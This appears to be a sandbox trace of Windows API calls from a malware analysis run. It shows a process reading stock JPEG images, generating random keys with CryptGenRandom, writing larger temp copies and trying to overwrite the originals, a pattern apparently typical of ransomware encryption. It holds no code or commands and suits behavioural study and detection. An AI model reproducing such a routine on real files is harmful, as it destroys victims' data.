	[0238.252] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ee600*, nNumberOfBytesToWrite=0x102c, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee600*, lpNumberOfBytesWritten=0xc000199bec*=0x102c, lpOverlapped=0x0) returned 1
	[0238.254] CloseHandle (hObject=0x1ac) returned 1
	[0238.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0238.262] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0238.262] GetFileType (hFile=0x1ac) returned 0x1
	[0238.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0238.262] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0238.262] GetFileType (hFile=0x1b0) returned 0x1
	[0238.262] VirtualAlloc (lpAddress=0xc000438000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000438000
	[0238.265] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000438000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000438000*, lpNumberOfBytesRead=0xc000199bd4*=0x102c, lpOverlapped=0x0) returned 1
	[0238.265] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000438000*, nNumberOfBytesToWrite=0x102c, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc000438000*, lpNumberOfBytesWritten=0xc000199b74*=0x102c, lpOverlapped=0x0) returned 1
	[0238.267] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000438000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000438000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0238.267] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 0
	[0238.267] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 0
	[0238.267] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 0x20
	[0238.268] CloseHandle (hObject=0x1b0) returned 1
	[0238.268] CloseHandle (hObject=0x1ac) returned 1
	[0238.268] VirtualAlloc (lpAddress=0xc000440000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000440000
	[0238.270] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d")) returned 1
	[0238.273] VirtualAlloc (lpAddress=0xc000442000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000442000
	[0238.277] VirtualAlloc (lpAddress=0xc00044a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00044a000
	[0238.280] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70709ffad8*=0x1a0, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0238.317] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.317] SetEvent (hEvent=0x190) returned 1
	[0238.317] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70709ffad8*=0x1a0, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0238.359] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.359] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff370, ulCount=0x10, ulNumEntriesRemoved=0x70709ff348, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff370, ulNumEntriesRemoved=0x70709ff348) returned 0
	[0238.370] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebcd0000
	[0238.373] SetEvent (hEvent=0x188) returned 1
	[0238.374] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70709ffae8*=0x1a0, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0238.454] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.467] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.478] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.541] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.598] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.783] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.792] SetEvent (hEvent=0x190) returned 1
	[0238.792] VirtualFree (lpAddress=0xc000492000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.792] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.886] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.969] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.996] SetEvent (hEvent=0x190) returned 1
	[0238.996] VirtualFree (lpAddress=0xc000486000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.997] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.035] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.080] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.086] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.110] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.282] SetEvent (hEvent=0xe4) returned 1
	[0239.282] SetEvent (hEvent=0xf0) returned 1
	[0239.283] VirtualFree (lpAddress=0xc00041a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.283] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.295] SetEvent (hEvent=0xe4) returned 1
	[0239.295] SetEvent (hEvent=0xf0) returned 1
	[0239.295] VirtualFree (lpAddress=0xc000416000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.296] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.493] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.616] VirtualFree (lpAddress=0xc00040e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.616] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.644] SetEvent (hEvent=0xe4) returned 1
	[0239.645] SetEvent (hEvent=0x190) returned 1
	[0239.645] VirtualFree (lpAddress=0xc000408000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.645] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.144] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.304] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.407] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.493] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.611] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.699] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.851] VirtualFree (lpAddress=0xc0003c4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.852] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x57, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0240.964] SetEvent (hEvent=0xf0) returned 1
	[0240.964] SetEvent (hEvent=0x190) returned 1
	[0240.964] VirtualFree (lpAddress=0xc0003c2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.965] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x52, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.059] SetEvent (hEvent=0xf0) returned 1
	[0241.060] SetEvent (hEvent=0xfc) returned 1
	[0241.060] VirtualFree (lpAddress=0xc0003c0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.061] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x61, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.178] SetEvent (hEvent=0xf0) returned 1
	[0241.178] SetEvent (hEvent=0x190) returned 1
	[0241.178] VirtualFree (lpAddress=0xc0003be000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.178] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.190] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x4e, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.345] SetEvent (hEvent=0x190) returned 1
	[0241.345] VirtualFree (lpAddress=0xc0003b8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.346] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x4b, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.427] SetEvent (hEvent=0xfc) returned 1
	[0241.427] VirtualFree (lpAddress=0xc0003b4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.428] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x67, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.532] SetEvent (hEvent=0xfc) returned 1
	[0241.532] SetEvent (hEvent=0x190) returned 1
	[0241.532] VirtualFree (lpAddress=0xc0003b2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.533] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.540] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.547] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x30, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.613] SetEvent (hEvent=0x190) returned 1
	[0241.613] SetEvent (hEvent=0xf0) returned 1
	[0241.613] VirtualFree (lpAddress=0xc0003ac000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.613] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.618] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff270, ulCount=0x10, ulNumEntriesRemoved=0x70709ff248, dwMilliseconds=0x4b, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff270, ulNumEntriesRemoved=0x70709ff248) returned 0
	[0241.710] VirtualFree (lpAddress=0xc0003a8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.711] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000037d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000037d94, lpOverlapped=0x0) returned 0
	[0241.711] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0xc000037d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000037d94, lpOverlapped=0x0) returned 0
	[0241.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0241.712] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000037bf4 | out: lpMode=0xc000037bf4) returned 0
	[0241.712] GetFileType (hFile=0x19c) returned 0x1
	[0241.712] GetFileType (hFile=0x19c) returned 0x1
	[0241.712] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000037c44 | out: lpFileInformation=0xc000037c44) returned 1
	[0241.712] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000037c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000037c28) returned 1
	[0241.712] ReadFile (in: hFile=0x19c, lpBuffer=0xc0000c4000, nNumberOfBytesToRead=0x632, lpNumberOfBytesRead=0xc000037b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000c4000*, lpNumberOfBytesRead=0xc000037b04*=0x432, lpOverlapped=0x0) returned 1
	[0241.721] ReadFile (in: hFile=0x19c, lpBuffer=0xc0000c4432, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000037b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000c4432*, lpNumberOfBytesRead=0xc000037b04*=0x0, lpOverlapped=0x0) returned 1
	[0241.721] CloseHandle (hObject=0x19c) returned 1
	[0241.722] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c00a0 | out: pbBuffer=0xc0000c00a0) returned 1
	[0241.723] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000108c0 | out: pbBuffer=0xc0000108c0) returned 1
	[0241.723] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c501 | out: pbBuffer=0xc00023c501) returned 1
	[0241.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\288911e965ff562abe4df42085680bf9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\288911e965ff562abe4df42085680bf9"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0241.724] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000113c04 | out: lpMode=0xc000113c04) returned 0
	[0241.724] GetFileType (hFile=0x19c) returned 0x1
	[0241.724] WriteFile (in: hFile=0x19c, lpBuffer=0xc0000ec000*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0xc000113bec, lpOverlapped=0x0 | out: lpBuffer=0xc0000ec000*, lpNumberOfBytesWritten=0xc000113bec*=0x532, lpOverlapped=0x0) returned 1
	[0241.727] CloseHandle (hObject=0x19c) returned 1
	[0241.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg\\*", lpFindFileData=0xc000113a78 | out: lpFindFileData=0xc000113a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0241.730] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\288911e965ff562abe4df42085680bf9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\288911e965ff562abe4df42085680bf9")) returned 1
	[0241.732] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.759] SetEvent (hEvent=0x190) returned 1
	[0241.760] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000451d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000451d94, lpOverlapped=0x0) returned 0
	[0241.760] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc000451d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000451d94, lpOverlapped=0x0) returned 0
	[0241.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0241.760] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000451bf4 | out: lpMode=0xc000451bf4) returned 0
	[0241.760] GetFileType (hFile=0x19c) returned 0x1
	[0241.760] GetFileType (hFile=0x19c) returned 0x1
	[0241.760] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000451c44 | out: lpFileInformation=0xc000451c44) returned 1
	[0241.761] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000451c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000451c28) returned 1
	[0241.762] ReadFile (in: hFile=0x19c, lpBuffer=0xc0000f4000, nNumberOfBytesToRead=0x5f3f, lpNumberOfBytesRead=0xc000451b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesRead=0xc000451b04*=0x5d3f, lpOverlapped=0x0) returned 1
	[0241.776] ReadFile (in: hFile=0x19c, lpBuffer=0xc0000f9d3f, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000451b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000f9d3f*, lpNumberOfBytesRead=0xc000451b04*=0x0, lpOverlapped=0x0) returned 1
	[0241.776] CloseHandle (hObject=0x19c) returned 1
	[0241.777] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c01e0 | out: pbBuffer=0xc0000c01e0) returned 1
	[0241.777] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000109a0 | out: pbBuffer=0xc0000109a0) returned 1
	[0241.777] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c701 | out: pbBuffer=0xc00023c701) returned 1
	[0241.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7d63409884a28ad77a53c68307ea63cd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7d63409884a28ad77a53c68307ea63cd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0241.778] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000225c04 | out: lpMode=0xc000225c04) returned 0
	[0241.778] GetFileType (hFile=0x19c) returned 0x1
	[0241.779] WriteFile (in: hFile=0x19c, lpBuffer=0xc000228000*, nNumberOfBytesToWrite=0x5e3f, lpNumberOfBytesWritten=0xc000225bec, lpOverlapped=0x0 | out: lpBuffer=0xc000228000*, lpNumberOfBytesWritten=0xc000225bec*=0x5e3f, lpOverlapped=0x0) returned 1
	[0241.781] CloseHandle (hObject=0x19c) returned 1
	[0241.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg\\*", lpFindFileData=0xc000225a78 | out: lpFindFileData=0xc000225a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0241.784] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7d63409884a28ad77a53c68307ea63cd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7d63409884a28ad77a53c68307ea63cd")) returned 1
	[0241.786] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.820] VirtualFree (lpAddress=0xc0003a6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.837] SetEvent (hEvent=0x188) returned 1
	[0241.837] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.927] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.966] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0) returned 0
	[0241.966] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0) returned 0
	[0241.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0241.966] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000225bf4 | out: lpMode=0xc000225bf4) returned 0
	[0241.966] GetFileType (hFile=0x19c) returned 0x1
	[0241.966] GetFileType (hFile=0x19c) returned 0x1
	[0241.966] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000225c44 | out: lpFileInformation=0xc000225c44) returned 1
	[0241.967] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000225c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000225c28) returned 1
	[0241.967] ReadFile (in: hFile=0x19c, lpBuffer=0xc000242000, nNumberOfBytesToRead=0x2b49, lpNumberOfBytesRead=0xc000225b04, lpOverlapped=0x0 | out: lpBuffer=0xc000242000*, lpNumberOfBytesRead=0xc000225b04*=0x2949, lpOverlapped=0x0) returned 1
	[0241.982] ReadFile (in: hFile=0x19c, lpBuffer=0xc000244949, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000225b04, lpOverlapped=0x0 | out: lpBuffer=0xc000244949*, lpNumberOfBytesRead=0xc000225b04*=0x0, lpOverlapped=0x0) returned 1
	[0241.982] CloseHandle (hObject=0x19c) returned 1
	[0241.983] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f8c0 | out: pbBuffer=0xc00000f8c0) returned 1
	[0241.983] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021ac20 | out: pbBuffer=0xc00021ac20) returned 1
	[0241.983] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001301 | out: pbBuffer=0xc000001301) returned 1
	[0241.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d6149092d0b8f5c9dc1a3b59c0a1057" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d6149092d0b8f5c9dc1a3b59c0a1057"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0241.984] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000225c04 | out: lpMode=0xc000225c04) returned 0
	[0241.985] GetFileType (hFile=0x19c) returned 0x1
	[0241.985] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001a4000*, nNumberOfBytesToWrite=0x2a49, lpNumberOfBytesWritten=0xc000225bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001a4000*, lpNumberOfBytesWritten=0xc000225bec*=0x2a49, lpOverlapped=0x0) returned 1
	[0241.987] CloseHandle (hObject=0x19c) returned 1
	[0241.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.991] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg\\*", lpFindFileData=0xc000225a78 | out: lpFindFileData=0xc000225a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
